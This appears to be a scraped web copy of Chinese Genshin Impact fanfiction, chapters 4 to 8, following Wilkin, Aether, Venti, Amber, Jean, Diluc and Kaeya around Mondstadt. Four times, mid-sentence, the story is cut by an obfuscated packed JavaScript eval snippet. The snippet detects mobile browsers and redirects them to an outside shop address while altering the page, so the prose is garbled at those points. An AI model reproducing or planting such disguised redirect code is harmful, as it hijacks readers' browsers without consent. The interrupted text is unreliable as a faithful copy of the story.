能够看穿一切事物本源的神明毫不掩饰地打量着自己精挑细选的七执政,试图把眼前看上去比他自己更像混吃混喝专业户的无业游民,同千年前魔神战争中以强大意志力和个人魅力另辟奇径,在众魔神中脱颖而出、成为七十二魔神中绝对的强者、并最终成为尘世七执政之一、守卫天空岛最前线的巴巴托斯联系在一起。 温迪摸摸头:诶嘿。 ——这个只会“诶嘿”的吟游诗人居然真的是巴巴托斯。 果然,磨损是加诸于万事万物的枷锁,就连理应不受影响的七神都无法逃过。 维尔金安详闭眼,不忍直视。 快把以前可靠的魔神团队给还回来啊! 一个不察,天理的脸色已经从烧糊的锅底直接进化到堪比深渊淤泥,自以为已经蒙混过关的温迪大跌眼镜。 这又是怎么了? 天理沉睡这么多年,就睡出个更年期和起床气吗? 生活不易,风神叹气。 抛开那层风趣友善的外壳,他终究是名为巴巴托斯的魔神,对方依旧是天理。面对天空岛的主人,哪怕是不经意间的一个破绽,都足够让任何人死无葬身之地。 温迪不说话,维尔金没什么想说的,空没什么好说的。 诡异的沉默陡然在密林的小径蔓延开来。 特瓦林翅膀嗅到空气中传来不安和焦躁的气味,发出野兽收到惊吓地呼噜声。 罪魁祸首叹了口气,像是不知道自己的一言一行皆会给人以无尽的臆测,随意得像是饭后散步时没有缘由的感慨。 “不就是摸鱼结果被维尔金这个同事抓包嘛,下次注意就好了。” 好在空及时打断了越来越诡异的氛围,顺带拯救吟游诗人岌岌可危的小心脏,看到温迪僵硬的表情,疑惑问: “我说得哪里有问题吗?” 温迪摇得像个拨浪鼓。 维尔金若有所思,他发现自己新交的朋友真是搭配尴尬的天才。 和巴巴托斯平时工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723010|144901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作内容的重要性以及繁重程度来说,浅浅摸一下鱼算不得什么大问题,劳逸结合才是保持长期工作状态的秘诀,而过于严厉的上司也只会让下面的人心生反叛,到时候万一哪个魔神突然想不开,非要重启魔神战争天理大战什么的,大家都没好日子过。 不管是尘世七执政还是天空岛之主,工作时间都足够,也足够无趣。 于长生种而言,加诸其身的磨损是悬在头顶的达摩克利斯之剑,对于七执政而言,天理赐予其权能以及正名,让他们免受时间的销蚀,却无法赋予其眷属以及同僚同等的恩赐。 独享的恩赐造就了诅咒。 不得不清醒看着世间一切沧海桑田,不得不面对注定的别离……从这个角度看,维尔金理智上甚至觉得应该庆幸,巴巴托斯至少克制住了自己,只是在细枝末节上靠谱,但牢牢记住了自己的教诲,没把柔弱的人类拉来当眷属。 柔软却坚毅,短暂却灿烂…… 被那样充满谎言有绚丽斑斓的物种所迷惑后,说不定真会向他举起反旗。 而一头被深渊污染的风龙,终归也算生命悠长,也不会生命脆弱到莫名其妙死去。 至于神之心,本就是借题发挥,既然巴巴托斯心理有数,他也没什么好说的了,还不如就此揭过,给巴巴托斯一个面子。 大度的维尔金直接承认 “的确,现在还是有点起床气,根本控制不住情绪。” 空已经数不清这是自己第多少次叹气,“你这家伙,对自己同事稍微好一点吧!” “没必要吧,反正我都要退休了。”维尔金歪头,忍不住抱怨,“不是说退休前同事之间保持基本礼仪就好了吗,怎么还这么麻烦……” “您就继续保持这种看不上我的态度就好,真的。” 温迪感觉几百年没受过的气都攒在了今天,赶快把这只大瘟神送走才是当务之急,当即提议: “既然是要游历提瓦特大陆,怎么能错过蒙德城呢?” 温迪狡黠一笑,一直站在身旁励志成为背景板的特瓦林可遭了殃。 “飞,可比跑快哦!” 空突然有一个大胆的想法。 “温迪,特瓦林可以直接把我们带上天空岛吗?” “好问题。但我建议你直接问问旁边那位。” 温迪捅咕看上去极其容易受骗旅行者,半是怂恿半是试探,“除了七执政和深渊,他还管着从提瓦特道天空岛通道的钥匙。” 没想到,空直接摇头拒绝,“维尔金对我妹妹的事也一无所知。” 维尔金扫了眼故意透露重要信息的巴巴托斯,轻笑一声,慷慨地解答了巴巴托斯提出来的问题。 “以前可以,但自从坎瑞亚之战后,直接进入天空岛的方式被截断,唯有特定通道才能前往。” “又是坎瑞亚……”空扶额。 好像这个世界上所有的灾难,都始于那一个神秘的国度。发现空已经对维尔金完全报以信任后,吟游诗人难得安静了好一会。 特瓦林载着心事各异的三人,飞向了它曾守护爱惜甚至愿意为之付出一切的城邦—— 蒙德城。 5. 第 5 章 安柏双手环胸,暇整以待。 “综上所述,以上我们进入蒙德城前的一切经历,绝无任何隐瞒。”维尔金着重强调,“以巴巴托斯的名义起誓。” 时间倒回十分钟前。 距离蒙德城城门肉眼可见的距离,兢兢业业巡查蒙德周边是否有可疑人员的安柏,逮到了从天而降的两个奇怪旅人。 也怪不了维尔金和空倒霉。 特瓦林本身就是风神眷属,最近由成了蒙德城的重点盯梢对象,所以想享受风龙接送的点对点待遇是不可能的了。 好在蒙德周边又多是低矮平地,森林能起到遮挡作用。 经过特瓦林严选,最终选择了一块适宜起降、又有高大树木遮挡视线的完美空地。 那么问题来了。 一块足矣容纳特瓦林起降、还能掩人耳目的空地怎么会是无主之地呢? 特瓦林刚一飞走,维尔金和空就知道了这片地盘的主人—— “所以为什么离蒙德城这么近的地方还有丘丘人的聚落?” 空艰难地打开丘丘人囤积宝藏的宝箱,悲痛地将各种稀奇古怪的东西捡个干净。 “你看,还有兽肉。”空考虑了不到半秒,毫不犹豫地把这块兽肉也塞进行囊,“话说回来,特瓦林不会是饿了吧?” “你稍微注意一点,万一被人看见就好了。” 维尔金不忍直视,扭过头正好跟去巡逻的侦查骑士对视。 维尔金扭回头问空:“你刚刚说什么来着?” 空:“特瓦林不会是饿了吧?” “不是这句。” “为什么离蒙德城这么近的地方会有丘丘人营地?” “如你所见,骑士小姐。” 维尔金严谨解释道: “我们在为蒙德人民清扫垃圾。” 骑士小姐深吸口气—— “不要以为我什么都没听到啊!!!” “给我从头到尾、一字一句地好好解释清楚!” 红色的侦查骑士小姐一脸不敢置信,怀疑的目光上下打量,似乎是想从中洞悉出任何谎言的痕迹。但结果显然让她失望,维尔金和空坦坦荡荡,像是莫名出现在这里洗劫完丘丘人营地后故作掩饰,又说出刚刚那样荒谬言论的不是他们一样。 只是她并没有想象到,天底下居然还有如此能编故事的家伙。 安柏不得不又重复一遍: “所以你的意思是,蒙德城外的森林里有会化形的蒲公英精灵,还和风魔龙成为朋友后骑着它飞走了?” 谁说风神不算蒲公英精灵? 风神和蒲公英一样,都是蒙德独有特产。 空还是昧着良心点头,短短时间已经学坏的旅行者张口就来: “一方水土养一方人,我们这些从海边的乡下地方来的旅人当然不清楚蒙德这样大城市居然这么神奇。” 狡辩的话语越听越离谱,最终消失在轻飘飘的蒲公英细小绒花中。 侦查骑士小姐目光锐利,继续逼问: “然后蒲公英精灵看你们不爽,怂恿特瓦林把你们吹到蒙德城门口了?” 安柏自认为找不到一点正常的逻辑关系。 过程错误结论正确,维尔金笃定点头,还顺带补充了一点关键信息: “理论上是,但准确来说是45点。毕竟蒲公英精灵把节省意识刻进了DNA,施展完元素爆发后会有15点元素能量补充。” “不,这个不是重点。”安柏无奈地将越来越跑偏的话题拉回正轨,顿觉心累,“重点是为什么要因为在野外受伤这种事去找教会索赔啊!不要以为我没有看见你们偷偷洗劫了丘丘人的财宝!” 维尔金大脑宕机,严厉抨击空的不恰当行径: “怎么能找教会索赔?应该去找西风骑士团!” 还指望维尔金说两句公道话的安柏差点摔了个踉跄。 世界观饱受冲击的根正苗红蒙德骑士想象不到,世界上居然有坏成这样这样的人,不对,神。 而面对空的疑惑,维尔金则细致解释道:“西风骑士团才是掌权蒙德的权力机构,至于教会,可能有钱,但也一定没有西风骑士团多,更何况我听见了——西风骑士团带着蒙德城的绝大部分骑士远征离开了蒙德,这可是千载难逢的好机会!” “不好意思安柏小姐,”空迅速纠正自己原先的措辞,深深鞠了一躬 ,“那就麻烦西风骑士团了!” 安柏倒吸一口凉气,她从未见过如此厚颜无耻之人。 提瓦特大陆上,居然还存在对积聚巴巴托斯大人信仰的教会和守护一国安危的骑士团索赔的人,这两个人不光不敬风神,还胆大包天。 安柏也已经清楚意识到:再不制止这俩人,恐怕不光连西风骑士团,连巴巴托斯大人都要被讹上了! “……其实不管是蒲公英、蒲公英精灵,还是什么奇奇怪怪的东西,只要是在蒙德野外造成的伤害,无论是教会还是骑士团,都不需要承担任何赔偿义务。毕竟二位旅途过程也已经洗劫……已经获得了战利品。” 侦查骑士小姐语气难得无奈,却还是尽职尽责科普道:“至于人道主义救治,教会会在每个礼拜日提供的音乐疗愈……不过二位看起来逻辑清晰、思维敏捷……” 维尔金和空对视一眼,都从对方眼中得到了满意的答案。 风魔龙的危机在蒙德民众眼中依旧没有解除,普通人并不知道效忠于风神的东风之龙特瓦林为何会突然发狂袭击居民,他们只知道,自己曾经的守护者已经变成了异常危险的存在,而且神明还不在蒙德,必然会开始戒严。 这一时期,外来人的身份就会相当扎眼,不过如果是西风骑士团的人带着进入蒙德城,至少不会因为复杂严苛的身份审查出问题。 维尔金欠身致谢。 “那就麻烦尊敬的骑士小姐领我们去教会洗涤心灵和身体上的双重伤痛了。" 再到位的礼仪也掩饰不了眼前二人耍无赖的事实。 “……我要先向骑士团汇报风魔龙的消息。”安柏又指了指身后已经成为一片废墟的丘丘人营地,彻底宣告两人计谋大成功,“需要清剿的丘丘人营地已经全部搞定,正好汇报完后带你们去大教堂——” 虽然看上去脑回路不太正常,但应该,不会是坏人吧? · 蒙德上空 浮云遮盖住巨龙的身影,蓝天为他们披上伪装,风为它的神明带来地上的消息。诗人坐在龙的脊背,拨弄着元素力量凝聚而成的弓弦,半皱着眉,半是喃喃自语。 “居然真的是本体,看来祂比我们想象的要在意地上。” 巨龙心有余悸地喘着粗气,天理曾亲手葬送八位龙的君主,深植于血脉记忆的恐惧让它仍止不住寒颤。 风元素力量覆盖在伤口之上,神明安抚着巨龙,特瓦林张开翅膀,蓝靛色在碧空如洗的蓝天下成为优雅又美丽的迷彩。 “人类因为风魔龙的袭击陷入恐慌——巴巴托斯,我们有足够的理由来拖延天理的脚步。” 温迪叹了口气。 “没有用,拖得了一时,拖不住一世。与其让天理觉得我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723011|144901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们在故意隐藏些什么,倒不如由祂调查。” 名义上是帮助域外降临者寻找被天理维系者抓住的妹妹,但维尔金的真实目的已经被温迪看穿。 蒙德城有许多理应被天理埋葬在历史的东西。 藏匿于人群之中的魔女,理应消失在历史长河的故事…… 蒙德藏有许多不属于这个时代的秘密 “你觉得他会走一趟龙脊雪山吗。” “如果他见到了魔女,又发现了魔女藏下来的读本……” “那就是肯定回去咯。”温迪两手一摊。 特瓦林试图找出其他的可能:“说不定祂只是想看看尘世七执政治下的城市……” 地上,蒙德城被河渠环绕,自然的微风在神明周游提瓦特时仍无时无刻看管这座暗藏无数秘密的城邦。 温迪抬头,在更高处的天空,名为天空岛的存在俯瞰众生,维系者镇守天空岛的通道,天理高居于御座之上,冷眼旁观地上生灵的作茧自缚。 现在又伪装成坎瑞亚公主之兄长的友人,故意放任他向她们询问自己妹妹的下落,是给他们敲响警钟么…… 想要向他们彰显,纵使沉睡五百年,一切仍然处于他的掌控之下的傲慢么? 特瓦林懵懵懂懂,不懂魔神间的弯弯绕绕,也不清楚七神和深渊,以及那被神明毁灭的坎瑞亚之间究竟还有多少说不清道不明的关系。 但唯有一点 天理象征着提瓦特最至高无上的规则,上一次降临,祂终结了坎瑞亚战争;上上次降临,祂带来了名为尘世七执政的毒药—— 这次降临,祂又要带来,抑或是带走什么? “巴巴托斯,你打算怎么做。” 眷属低吟质问。 它的神明一如既往。 “我不会效仿高塔的孤王,自顾自地想一出为你们好的默剧,也不会像死于怯懦的盐神,将主动权乖乖送上。” 风拨弄着琴弦,诗一般的歌谣从他的口中吐露,焦躁的眷属担忧神明和国家的未来,魔神战争到坎瑞亚战争相隔一千五百年,坎瑞亚从毁灭到如今也不过五百载。 “真是永不停歇的神明啊,不过百年,又要重新唤起战争的薪风……” 要是早知天理睡眠这么浅,哪怕让特瓦林吃点苦头也该早早解决它身上的深渊污血,受点皮肉之苦,总好过被天理注视。 换句话说……这是否能证明,天理根本不是如祂所说那般一直在天空岛上沉睡,而是一直在暗中盯着他们的一举一动? 至冬女皇的计划必须暂缓。 “巴巴托斯,去雪山,还是去时之岛?” 沉闷的声音从温迪头上响起,那些不安、恐惧,以及盘桓在耳边的低语,在名为天理之人的降临后,不再足以对特瓦林产生影响。 “特瓦林……” 诗人呢喃着眷属的真名,被腐蚀至将近沦为野兽的长生种被愤怒和背叛填满的心神也因对友人兼神明的担忧和直面那最高的世界之王的寒颤而重归于清明。 风带走深渊的腐噱和巨龙的低吟,细长的龙半拢着爪子,诗人习惯性轻飘飘落在利爪之间。 “虽然有些小插曲,但还没有到清扫痕迹的最后一步哦。” 温迪停下手中奏响的乐章,目光望向与自由的领土接壤的、属于冬日女皇的领地。 “我们先去至冬——” 天蓝色的瞳孔依旧清澈,特瓦林心领神会,振翅一挥,庞大身躯调转方向,朝着极东之地方向飞去。 “天理苏醒的消息可比神之心昂贵多了。” 6. 第 6 章 西风骑士团办公室内,书架文件码得整整齐齐,桌面放满了各式文件,唯有一张材质特殊的羊皮卷放于最上方。 自半年前法尔伽带领了西风骑士团近五分之四的兵力前往远征之地后,蒙德大大小小事务皆有琴代为处理,又因为特瓦林的侵扰,桌子上已经隐隐堆成一座小山。 琴端坐在属于代理团长的主位,双手虚握十指交叉,神情难得严肃。 和始终一言不发的蒲公英骑士不同,应邀而来的迪卢克和丽莎,反倒随意得像是被喊来进行下午茶歇一般,一个半边身子靠在长木桌上,手上拿着本精装故事书;另一位一如既往对骑士团事务不感兴趣的晨曦酒庄大老板脸色极臭。 本身就对西风骑士团不抱一信任的迪卢克对琴突然紧急联络、却又一言不发的行为已经极其不满,而赴约后琴说得那些堪称荒谬的言论更是让怒火从他心中燃起。 “不谈特瓦林给蒙德造成的损失,就一句风龙危机已经解除就想把这次事件画上了句号……琴,我现在都想不明白,你究竟是怎么想的?” 晨曦酒庄的大老板双手环胸,语气隐隐透着不耐。 就算不是作为品牌畅销璃月的酒庄的主人,就算只是作为一个普普通通的蒙德市民,就算居所远在晨曦酒庄,迪卢克仍然受到了不小的影响。 经营生活都在蒙德城内的大部分市民就更不用说了。 风灾不仅损毁了房屋,让市民们日常生活都受到了影响,日日惶恐不安;而作为酒庄的大老板,风灾导致的酒庄葡萄减产和葡萄酒产业长时间停工,今年出品产量质量双下跌的事实已经摆在他眼前,现在一句轻飘飘的“危机解除”就行了? 若不是迪卢克自认为还算个正义人士,听到西风骑士团通告的一瞬间,他都想要找骑士团索赔。 糊弄过去是不可信的,不仅是他,全蒙德的人民都需要一个更加合理的解释。 琴叹了口气,夹在神明和市民中间,她这个代理团长的确不好做。 “至少风魔龙……特瓦林的事情解决后事情终于告一段落,骑士团会继续安抚好民众,大家也终于能睡个好觉了。” “不要避重就轻,琴。” 迪卢克眉头紧皱,强压不满说道,“就算先不谈大家对这则消息的态度,至少也要证实这个消息的真假,而不是莫名其妙的谣言吧?谁来承受风魔龙去而复返后,市民们的愤怒?西风骑士团?教会?抑或是巴巴托斯本人?” 迪卢克不免嗤笑琴的天真。 琴站起身,将办公室内的窗户打开。张开手,蒲公英的飞絮随着琉璃窗的缝隙顺着风飘向窗外,她的声音很轻,却足够厚重。 “你说得不错,这的确是巴巴托斯大人带来的消息。” 迪卢克望向一旁作为中间人的丽莎。 丽莎合上书籍微微点头,证实了消息的可信度。 “来之前我也特地用水晶球观测占卜的一番,风魔龙的确已经离开了蒙德境内,正在向至冬方向飞行。” 又是至冬。 迪卢克不易察觉地皱了皱眉,又迅速恢复到那副面无表情的无情资本家姥爷的经典嘴脸,嘴巴依旧不饶人。 “很高兴我们蒙德的风神终于意识到,自己的眷属究竟给人带来多大麻烦了。”没有听到自己想要的答案,迪卢克拍了拍衣袖上沾着的蒲公英绒毛,站起身。 “我很忙,没什么事我就先走了,如果你想借此机会找人宣扬一番风神的对子民的关爱,我想教会会有你想要的素材。” 丽莎往前一步,拦住迪卢克的去路。 “别急呀,这不是还没有说完嘛。” “那还请直说重点。” “这件事,其实跟凯亚有关。”琴从主位木桌上拿起羊皮纸,文字墨迹未干,看上去是才写完没多久。 “蒙巴巴托斯大人神启,特地让我代大团长签署下的律令。” 琴顿了顿,等带迪卢克消化完,又将羊皮纸递给他。 迪卢克没有回绝。 他粗略扫了几眼,律令很短,简明扼要。 “也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723012|144901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是个好消息。” 迪卢克的声音却完全听不出来有半点的兴致,反倒颇有些介于咬牙切齿和嘲讽之间的意味。 “我们的神明终于看穿至冬的真实面目了——这帮打着互帮互助的旗号掠夺蒙德财产的使节,终于没有所谓的上面庇佑了。” “我知道你因为……一直对至冬使节有意见,接下来你想去做什么,就去做吧。” “莱艮芬德家族要做什么,就不劳琴团长费心。”迪卢克顿了顿,“不过我可不觉得,这件事跟凯亚有什么关系。” “这就是琴把我也喊过来的原因。” 丽莎沉声,和往日来去自如的随性不同,迪卢克从未见过这位善用雷元素的魔女如此严肃地说一件事。 “现在立刻,最好今天出发带着凯亚去龙脊雪山上呆着,带足干粮,先熬过这个夏天,等我和琴上去通知你们,再回蒙德。” 迪卢克挑眉:“你在开什么玩笑?” 可惜这次,他没有听到魔女的调侃。 “这不是巴巴托斯的消息,这是我作为一名学者、一名魔女对迪卢克,凯亚名义上的兄长,一个作为朋友的善意提醒。” 这次,迪卢克从她的脸上再也看不见任何轻松写意和调笑。 魔女用烫金花纹的血肝色封皮的故事书,未尽的话语中透露着对未知神秘的 畏惧感,不—— 是敬畏。 有什么人值得他们俩避风头,甚至为此离开蒙德,跑到龙脊雪山上去? 至冬使节? 不对,迪卢克立马排除了这个猜想,至冬人的手还没长到足矣插手蒙德内政的地步。 所以说—— “是巴——” 丽莎迅速打断。 “不是,但我只能告诉你,在地上,祂的耳目无处不在。” “不要谈论祂,不要相信祂,更不要透露刚刚所说的一切。” 丽莎握着故事书,指了指窗外的蓝天—— “天空,能够听见一切。” 7. 第 7 章 有安柏陪同,进入蒙德城变得格外简单。 千年未见,蒙德城变了,又好像没变。 风车瓦房,微风拂面。 上一次维尔金来到蒙德时,这里还是一座满载希望的新生之城。人,神,精灵兴奋地商讨如何建设这座迎来春天的冰与风之城。 而不是像今天一样,城内一片愁云惨淡。 贩卖鲜花的女人看着蔫了风车菊叹气不止,摊位前守着好几筐新鲜水果的男人看上去面色发愁,整个蒙德城弥漫在风龙危机的乌云之下,祈祷着不知何时能听到风龙被驱逐杀死,回归到正常的经营生活。 哪怕提瓦特有神之心这样获得力量的途径,长生种因为寿命积累的实力不是一个普普通通的短生种天才可以轻易跨过去的鸿沟。而哪怕是惊世的天才,也只会是如夜空中短暂划过去的一瞬流星,百年之后再无踪影,只余似是而非的传言和故事。 对于普通人类而言,龙的本身就是天灾,就像当年的高塔孤王,人类分不清比他们强大太多生物的情感。对他们而言,被喜爱、被厌恶的结果是一样的。 在被迭卡拉庇安的风暴压得寸步难行时,连站立都做不到的人会希望又强大的非人站在他们一侧,当和平来临时,他们又会畏惧惶恐。 随着那些关于魔神战争的故事变成历史,历史变成传说,传说成为虚无缥缈的神话后,人,还会认为那不知道多少年前曾经是伙伴的风魔龙,依旧是守护他们的风神眷属吗? 大部分非人类总是容易忘记这一点,而维尔金已经在两千年前洞悉了一切。 不过还好,维尔金已经自我总结出一套可靠经验:和人类相处,最需要保持的就是距离感。 进入到蒙德城后,安柏放松了不少,和门口几位骑士打了招呼后,安柏单手握拳,行了一个标准的骑士礼。 “最近因为风魔龙的事,大家都心事重重的,还好有你们带来的好消息,我这就去向琴团长汇报,要是能证实这条消息的可靠性,大家一定会开心起来的!” 说到这时,安柏激动得整个人像是发光。 维尔金环视了一圈,城内格局没怎么变,一眼就见到了熟悉的猎鹿人餐馆。 “不如我们先去猎鹿人餐馆,我印象里这可是家老字号,是蒙德建立之初就存在的餐馆。” 触景生情,身无分文的维尔金还格外大气。 “这顿我来请。” “这么大方!不过原来我天天吃的这家餐馆这么有名吗……”安柏不可思议地感叹道,不过有人请客可是好事一桩,伸了个懒腰,“正好忙了一天干脆去猎鹿人餐馆大饱口福,还不知道莎拉小姐今天准备了什么特色料理……” “我就要狂风乱炖菜吧,”维尔金露出怀念的神情,“普通的胡萝卜,土豆和洋葱放入瓦锅,加之以耐心烹饪,辅之以塞西莉亚话作为陪衬,让热腾腾的浓汤染上清郁的芳香……想想就让人怀念。” “我也要来这个!”空举手示意,“麻烦莎拉小姐了。” “呃……真是不好意思,两位客人。” 莎拉面色尴尬,鞠躬致歉: “非常抱歉,猎鹿人餐馆里并没有客人口中的【狂风乱炖菜】……而且从业十多年,我也从来没有听说过,蒙德城内有哪家餐馆提供叫做狂风乱炖菜的餐品。不过,我们家倒是有一道原料十分相似的风神杂烩菜,要不要试试这个?” “狂风乱炖菜……这名字可真奇怪”安柏思索了一番后也有些好奇,“就连我这个本地人都没听过的特色菜……你们是从哪里听说的?” 空赶紧给直觉敏锐的骑士补上维尔金身份上的漏洞:“维尔金他从小就多提瓦特大陆上各个国家的知识比较感兴趣,可能是从哪个不知名古籍上看到的吧。” 安柏瞬间了然:“原来如此,不愧是周游提瓦特的旅行者!” 其实还是变了不少的。 维尔金将被风吹得有些散乱的长发别到耳后,勉强笑了笑,“说不定风神杂烩菜以前就叫做这个名字,只是后来大家觉得太不正经,就干脆改名叫做风神杂烩菜啦。” “我好像听见有人在讨论蒙德美食——”凯亚和同僚打了个招呼,“好久不见,安柏,今天回来得很早,这是你的新朋友吗?” “凯亚先生,这两位是空和维尔金,他们带来了一个好消息,等会我们就去跟琴团长汇报!” “辛苦了,安柏——”凯亚和兴奋的安柏击了个掌,面带微笑道,“自我介绍一下,我是蒙德骑兵队队长,凯亚。” 蒙德骑兵队队长,凯亚。 维尔金顿时失语。 很好巴巴托斯,看来下次见面必须让他在上交神之心和跟自己一起退休之间做个选择了。 维尔金盯着骑兵队队长四芒星形状的瞳孔,一时间被震撼到无以复加,直到因为出神太久而被空用手肘戳腰子,他才开口: “这位是空,目前正在寻找他的妹妹。” 凯亚一顿,莫名有种被野兽盯上的感觉。 维尔金却好似毫无察觉,深吸一口气,嘴角上扬,盯着对方的眼睛,尽力表现出自己的最大限度善意。 “很高兴能在蒙德见到你,凯亚·亚尔伯里奇先生,不过我突然想起来我和空好像还有些急事要处理——莎拉小姐,风神杂烩菜就麻烦你取消订单了,希望您还没有开始下锅。” “诶,怎么突然……”空一脸摸不着头脑,“你不是饿了吗?” “我觉得还是烤肉比较适合我们这种风餐露宿的旅人,正好咱们还能省点钱。再见了安柏!” “诶,怎么这么着急……”安柏呆住,眼睁睁看着维尔金拖着空消失在跟前。 “至少吃完饭再走……” 凯亚若有所思:“说不定是有急事呢?” 维尔金生怕再待下去,又得看到不知道什么不该看的东西,一颗寒天之钉自动从天空岛砸下来。 别说他,法涅斯再世也没招。 提瓦特要是少一国,巴巴托斯,你可有不可推卸的责任!! 空看着莫名其妙变卦的维尔金一言难尽,虽然对他时而正经时而不靠谱的本性已经接受良好,但毕竟那可是掌管一国骑士团、在巴巴托斯基本放养情况下掌握实权的团长。 大老远过来不拜见一下,是不是有点不太礼貌。 “可是让琴团长等着也不太好吧,再说了,突然放安柏鸽子是不是也有点……”空委婉劝道。 “你信我。” 维尔金瞄了眼看上去一无所知的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723013|144901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝着日落果果茶的亚尔伯里奇家小孩。 “上至巴巴托斯,下至琴团长本人,一定都不会希望我们在他们打扫干净现场之前就去见他们的。” 巴巴托斯一定会给他忠实的卫士提前通风报信,维尔金现在要做的,就是给这位可怜的骑士留下足够清扫痕迹的时间。 不看不知道,就维尔金随便扫两眼的时间,他已经看到了坎瑞亚的后人,空气中还隐隐约约有魔女的气息,还有深渊的蛆虫……毫不夸张的说,不用个两三天,这位代理团长恐怕还真清理不完蒙德的违禁物品。 维尔金此时无比庆幸,要是没突发奇想多吃顿饭直接一头攒进西风骑士团可就完了。到时候怕是骑士团清理违禁品的效率不仅高不了,说不定还得让维尔金自己隐瞒身份动手收拾巴巴托斯不务正业、多年囤积下来的禁忌物品。 维尔金冷汗直流,天地良心,他只是想顺便检查一下巴巴托斯的工作成果,最多给下一任留个交接报告,可从来没有想过要把提瓦特七国变成六国啊! 巴巴托斯看着那么纯良一只精灵,这又是眷属染深渊,又是藏坎瑞亚后裔,是想让他变成天空岛的千古罪人吗? 此地不宜久留,再待下去,怕不是连藏火元年的老黄历都能扒出来。为了好朋友的性命安全和自己能顺利退休,还是先走一步吧, “好吧,毕竟你才是专业的。”空认真理顺一遍逻辑,同情般的拍了拍维尔金的肩膀。 带入一下,就是管事的领导发现手底下员工业务错误百出。 可怜的温迪,这个尘世七执政的位置可真不好坐,空在心底里默默叹气,要不是他有维尔金这跟他里应外合的管理人员,就按照温迪那样随性过头的个性,估计早就被抓包无数次了吧。 “既然一时半会不能去找琴,也不能待在蒙德城内,那我们岂不是又成没头没脑的苍蝇了?”空两手一摊,“继续去睡沙滩?” “其实还有个地方。” 维尔金轻咳两声,看起来甚至还有些扭捏。 “离蒙德也很近,虽然时间有点长了,但其实说不定能找翻到些相关的线索……” “反正也不能先蒙德城待着,要不干脆跟我上去看看?” 空精神一震:“你能直接带我去天空岛?!” 维尔金眼神死:“那你确实是想多了,哪怕是天理,从地上的七国直接去往天空岛需要集齐七颗神之心才能打开通道。” 好吧,温迪没带神之心。 等等—— 空大为震惊: “你不是说神之心那玩意珍贵但没用吗!” “它就这一个用处,还得集齐七个才能用上,这难道也能算有用吗?” 维尔金理直气壮。 “……先说好,不接受住丘丘人营地,不接受篝火边支帐篷,不接受沙滩露营。” “那决定了——我们去雪山。”维尔金拍板决定,拍了拍空的肩膀,语重心长,“特瓦林是巴巴托斯的龙,我没办法,但这附近可是还有一条趴窝动不了的黑龙能带你去见见。” 空一下子被超越过头的词语震撼到,看向不远处那肉眼可见的白灰色雪山,云层和白雾覆盖住它的大半区域,脱口而出—— “龙脊雪山真的有龙啊?” 8. 第 8 章 他这是在哪? 空低头,身上是他从未见过的繁复衣袍。石室在篝火的照亮下,空勉强看清一个看不清面容的男人站在不远处的台阶下。 他听见自己问: “人子啊,你为何攀上这披风盖雪的山峦?” 男人回答:“饥饿与寒冷将杀死我的族人,我等为生而来。” “人子啊,你的同族皆寻求烈风与北风的帮助,你若要生,又为何不去那?” 男人跪拜:“北风的狼王蔑视人类,高塔的孤王蹂躏人类。人类无法融入狼群,更不愿用折断的膝盖骨向烈风换来勉强度日的口粮。神明啊,我等只求苟延残喘的栖身之所。” 男人的声音回荡在空旷的石室,久久才得到回答。 “人子啊,我许你暂离冰雪与纷争,但你切记,此非诅咒,此乃谶言——” “你当尽早离去,此间绝非永世乐土。” 空睁开眼。 白色得到光芒刺得他顿感晕眩,心脏狂跳不止,直到等到几分钟后才重新恢复平静。 维尔金没有发现昏厥的友人已然清醒,抱来一大堆赤红之石摆在空周围,一边摆还一边念叨: “我单知道人类身体脆弱容易死掉,可我没想到用脑袋能硬接地心引力的旅行者也这么脆弱。好朋友,你要是死了,我岂不是成了替维系者杀人灭口的帮凶又得继续干下去……” “你好,我没死。” 原本气若游丝失魂落魄的维尔金瞬间满血复活把空拉起。 